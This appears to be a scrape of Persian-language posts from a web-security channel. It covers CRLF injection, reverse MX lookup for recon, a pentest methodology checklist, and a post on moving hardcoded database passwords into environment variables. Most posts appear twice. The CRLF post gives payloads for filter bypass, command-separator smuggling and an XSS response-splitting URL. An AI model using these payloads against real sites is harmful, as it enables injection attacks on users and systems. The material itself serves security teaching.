اگه تو حملات injection نیاز به bypass داشتیم میتونیم از CRLF استفاده کنیم. برای مثال در command injection میتونیم از 0a% به عنوان یک command separator استفاده کنیم وقتی که سایر command separator هایی مثل | در blacklist قرار دارند.
و یا در XSS وقتی نیاز به بستن تگ داریم برای اکسپلویت و اجازه نداریم تگ رو ببندیم، از CRLF برای bypass استفاده میکنیم.
</noscript> ❌
</noscript%0a> ✅
2⃣ اکسپلویت سایر آسیب پذیری ها:
وقتی آسیب پذیری تو header ها وجود داره، برای اکسپلویت باید از CRLF injection کمک بگیریم در غیر این صورت آسیب پذیری self هست.
برای مثال اگه مقدار هدر X-Forwarded-For تو صفحه reflect میشه و XSS میخوره، واسه اکسپلویت آسیب پذیری باید با یک CRLF injection ترکیب بشه(راه های دیگه ای هم برای اکسپلویت این نوع XSS وجود داره مثل cache poisoning)
3⃣ به وجود آوردن آسیب پذیری های مختلف:
اگه ورودی کاربر در Response Header ها قرار بگیره، میتونیم response در دستکاری کنیم و به آسیب پذیری های مختلفی برسیم. فرض کنین که ورودی کاربر در قالب پارامتر username در cookie قرار میگیرد، ما میتونیم با دوتا CRLF زدن، Body رو کنترل کنیم و پیلود XSS خودمون رو قرار بدیم:
نکته آخر:
ممکنه بتونیم با این آسیب پذیری response هدر های امنیتی رو غیر فعال یا بازنویسی کنیم در مرورگر قربانی.
#CRLF_injection
اگه هکر به عنوان user input به وب اپلیکیشن کاراکترهای CRLF یا همون
%0d%0a
رو تزریق کنه و وب اپلیکیشن رو تحت تاثیر قرار بده آسیب پذیری به وجود میاد.
❓به صورت کلی CRLF چیه؟ همون کلید Enterخودمون.
❓چه زمانی آسیب پذیری به وجود میاد؟ وقتی که ورودی کاربر به صورت ناامن در یک response Header قرار بگیرد.
پیش نیازها:
1. هر Header با Header بعدی با یک CRLF جدا میشود.کاربردها:
2. آخرین Header با Body با دو CRLF جدا میشود.
1. سواستفاده از CRLF برای bypass کردن.
2. اکسپلویت سایر آسیب پذیری ها.
3. به وجود آوردن آسیب پذیری های مختلف.
1⃣ سواستفاده از CRLF برای bypass کردن:
اگه تو حملات injection نیاز به bypass داشتیم میتونیم از CRLF استفاده کنیم. برای مثال در command injection میتونیم از 0a% به عنوان یک command separator استفاده کنیم وقتی که سایر command separator هایی مثل | در blacklist قرار دارند.
و یا در XSS وقتی نیاز به بستن تگ داریم برای اکسپلویت و اجازه نداریم تگ رو ببندیم، از CRLF برای bypass استفاده میکنیم.
</noscript> ❌
</noscript%0a> ✅
2⃣ اکسپلویت سایر آسیب پذیری ها:
وقتی آسیب پذیری تو header ها وجود داره، برای اکسپلویت باید از CRLF injection کمک بگیریم در غیر این صورت آسیب پذیری self هست.
برای مثال اگه مقدار هدر X-Forwarded-For تو صفحه reflect میشه و XSS میخوره، واسه اکسپلویت آسیب پذیری باید با یک CRLF injection ترکیب بشه(راه های دیگه ای هم برای اکسپلویت این نوع XSS وجود داره مثل cache poisoning)
3⃣ به وجود آوردن آسیب پذیری های مختلف:
اگه ورودی کاربر در Response Header ها قرار بگیره، میتونیم response در دستکاری کنیم و به آسیب پذیری های مختلفی برسیم. فرض کنین که ورودی کاربر در قالب پارامتر username در cookie قرار میگیرد، ما میتونیم با دوتا CRLF زدن، Body رو کنترل کنیم و پیلود XSS خودمون رو قرار بدیم:
app.php?username=salam%0d%0a%0d%0a<img src=x onerror=alert()>
نکته آخر:
ممکنه بتونیم با این آسیب پذیری response هدر های امنیتی رو غیر فعال یا بازنویسی کنیم در مرورگر قربانی.
#CRLF_injection
🔥25👍9❤1
https://beaglesecurity.com/blog/tag/vulnerability/
یک منبع خوب برای آشنایی با حملات مختلف(خلاصه میگه و به هر کدوم که علاقه مند بودین باید بیشتر دربارش بخونین)
#resource
یک منبع خوب برای آشنایی با حملات مختلف(خلاصه میگه و به هر کدوم که علاقه مند بودین باید بیشتر دربارش بخونین)
#resource
Beagle Security
Beagle Security: Web Application & API Penetration Testing Tool
Beagle Security helps identify vulnerabilities in your web apps, APIs & GraphQL and remediate them with actionable insights before hackers harm you in any manner.
🔥8👍3❤1
تکنیک Reverse MX lookup =
یکی از تکنیک هایی که برای wide recon استفاده میشه reverse mx lookup هست که ممکنه خطای زیادی هم داشته باشه. میتونیم با این کار همه ی دامنه هایی که از یک Mail server استفاده میکنند رو شناسایی کنیم و این احتمال وجود داره که بعضی از دامنه ها زیرمجموعه ی تارگت ما باشند.
میتونیم با دستور زیر MX رکورد دامنه رو به دست بیاریم:
و خروجی ما به این صورته:
و باید mxa-000c7201.gslb.pphosted.com رو تو سایت هایی که برای ما reverse mx lookup انجام میدن سرچ کنیم، که https://viewdns.info/reversemx/ یکی از سایت های خوب تو این زمینس.
#wide_recon
یکی از تکنیک هایی که برای wide recon استفاده میشه reverse mx lookup هست که ممکنه خطای زیادی هم داشته باشه. میتونیم با این کار همه ی دامنه هایی که از یک Mail server استفاده میکنند رو شناسایی کنیم و این احتمال وجود داره که بعضی از دامنه ها زیرمجموعه ی تارگت ما باشند.
میتونیم با دستور زیر MX رکورد دامنه رو به دست بیاریم:
dig MX +short walmart.com
و خروجی ما به این صورته:
10 mxa-000c7201.gslb.pphosted.com.
10 mxb-000c7201.gslb.pphosted.com.
و باید mxa-000c7201.gslb.pphosted.com رو تو سایت هایی که برای ما reverse mx lookup انجام میدن سرچ کنیم، که https://viewdns.info/reversemx/ یکی از سایت های خوب تو این زمینس.
#wide_recon
🔥5
Methodology
Reverse Proxy Testing
Cloud-Specific Testing
Web Server Testing
Domain Name System (DNS) Testing
Global Application Config Testing
Server-Side Codebase Testing
Database Operation Testing
External Identity Access Management (IAM) Testing
Public Repository & OSINT Testing
#Methodology
Reverse Proxy Testing
Abusing Hop Headers
Web Cache Poisoning
Web Cache Deception
HTTP Request Smuggling
H2C Smuggling
XSLT Server-Side Injection
Edge Side Inclusion (ESI) Injection
Host Header Poisoning
IP Address Spoofing
Cloud-Specific Testing
AWS S3 Bucket Misconfiguration
AWS CloudFront Misconfiguration
AWS IAM/STS Misconfiguration
AWS Elastic Beanstalk Misconfiguration
AWS API Gateway Misconfiguration
AWS Cognito Misconfiguration
AWS Exposed Sensitive DocumentDB
AWS EC2 Misconfiguration
AWS SNS Misconfiguration
AWS RDS Misconfiguration
Web Server Testing
Common Vulnerabilities and Exposures (CVE's)
Exposed Configuration Files
Server Side Includes (SSI) Injection
Information Disclosure
Domain Name System (DNS) Testing
DNS Rebinding
Subdomain Takeover
Global Application Config Testing
Content Security Policy (CSP)Client-Side Codebase Testing
Cross-Origin Resource Sharing (CORS)
Dependency Confusion / Abuse
JSON Web Token (JWT) Misconfiguration
Missing Security Headers
Content Injection
Reflected Cross-Site Scription (XSS)
Stored Cross-Site Scripting (XSS)
Blind Cross-Site Scripting (XSS)
Dangling Markup
Client-Side JavaScript Injection
Client-Side Prototype Pollution (CSPP)
DOM-Based Cross-Site Scription (XSS)
DOM-Based Open Redirect
Client-Side Template Injection (CSTI)
PostMessage Vulnerabilities
Information Disclosure
Privileged Credentials Exposed
Insecure Data Storage
Client-Side Denial of Service (DoS) / Breaking The DOM
Server-Side Codebase Testing
Command Injection
Code Injection
Insecure Deserialization
LDAP Injection
Server-Side Request Forgery (SSRF)
File Inclusion / Path Traversal
XPATH Injection
Unrestricted File Upload
Web Shell via File Upload
Server-Side Template Injection (SSTI)
Server-Side Prototype Pollution (SSPP)
XML External Entity (XXE)
WebSocket Injection
Database Operation Testing
SQL Injection
NoSQL Injection
GraphQL Injection
Denial of Service (DoS)
Information Disclosure
External Identity Access Management (IAM) Testing
OAuth MisconfigurationApplication Logic Testing
Security Assertion Markup Language (SAML) Misconfiguration
Google Firebase IAM Misconfiguration
Keycloak IAM Misconfiguration
Indirect Object Reference (IDOR)
Insufficient Access Controls
Bypass Access Controls
2FA/MFA Bypass
Captcha Bypass
Rate Limiting / Brute-force Protection Bypass
Bypass Registration Restrictions
Bypass Payment Process Restrictions
Bypass Authentication Restrictions
Bypass Password Reset Restrictions
Race Conditions
Username Enumeration
Public Repository & OSINT Testing
Internal Source Code on Public Repository
Internal/Privileged Credentials on Public GitHub Repository
Internal Source Code Found in Web Scraping
Internal/Privileged Credentials Found in Web Scraping
#Methodology
امنیت اپلیکیشن قسمت سوم =
نمونه کد زیر رو در نظر بگیرین:
بنظر میرسه کد آسیب پذیری خاصی نداره، ولی همون طور که مشخصه پسورد مربوط به دیتابیس در source code وجود داره، با یه آسیب پذیری ساده مثل stack trace error یا افشای source code سامانه داخل گیت هاب، پسورد مربوط به دیتابیس به سادگی افشا میشه.
پس پسورد ها و API-Key های مهم نباید داخل source code به صورت hard code شده قرار بگیرن. بلکه باید داخل environment variable ها قرار بگیرن که اگه source code سمت سرور هم افشا شد، پسورد ها و API-Key ها افشا نشن.
کد زیر نسخه امن تر کد بالا هست:
در کد بالا از تابع ()getenv استفاده شده که برای دسترسی به environment variable های سرور استفاده میشه.
نکته مهم: اگر فایل env. در سامانه وجود دارد، کاربر نباید سطح دسترسی لازم برای مشاهده این فایلو داشته باشد.
❓آیا ممکنه environment variable های سامانه افشا بشه؟
بله. به غیر از آسیب پذیری هایی مثل RCE و Command injection، آسیب پذیری دیگه ای هم وجود داره که میتونه منجر به افشای environment variable های سامانه بشه که در آینده بهش اشاره میکنیم. اما احتمال وجود این آسیب پذیری از stack trace error و افشای source code خیلی کمتره پس این روش امنیت بیشتری از روش سنتی داره.
#application_security
نمونه کد زیر رو در نظر بگیرین:
<?php
$servername = "localhost";
$username = "root";
$password = "pa@@w0rd";
$dbname = "database_name";
$conn = mysqli_connect($servername, $username, $password, $dbname);
if (!$conn) {
die("Connection failed"); mysqli_connect_error());
}
echo "Connected successfully";
?>
بنظر میرسه کد آسیب پذیری خاصی نداره، ولی همون طور که مشخصه پسورد مربوط به دیتابیس در source code وجود داره، با یه آسیب پذیری ساده مثل stack trace error یا افشای source code سامانه داخل گیت هاب، پسورد مربوط به دیتابیس به سادگی افشا میشه.
پس پسورد ها و API-Key های مهم نباید داخل source code به صورت hard code شده قرار بگیرن. بلکه باید داخل environment variable ها قرار بگیرن که اگه source code سمت سرور هم افشا شد، پسورد ها و API-Key ها افشا نشن.
کد زیر نسخه امن تر کد بالا هست:
<?php
$servername = "localhost";
$username = "root";
$password = getenv('DB_PASSWORD');
$dbname = "database_name";
$conn = mysqli_connect($servername, $username, $password, $dbname);
if (!$conn) {
die("Database connection failed.");
}
echo "Connected successfully";
mysqli_close($conn);
?>
در کد بالا از تابع ()getenv استفاده شده که برای دسترسی به environment variable های سرور استفاده میشه.
نکته مهم: اگر فایل env. در سامانه وجود دارد، کاربر نباید سطح دسترسی لازم برای مشاهده این فایلو داشته باشد.
❓آیا ممکنه environment variable های سامانه افشا بشه؟
#application_security
👍2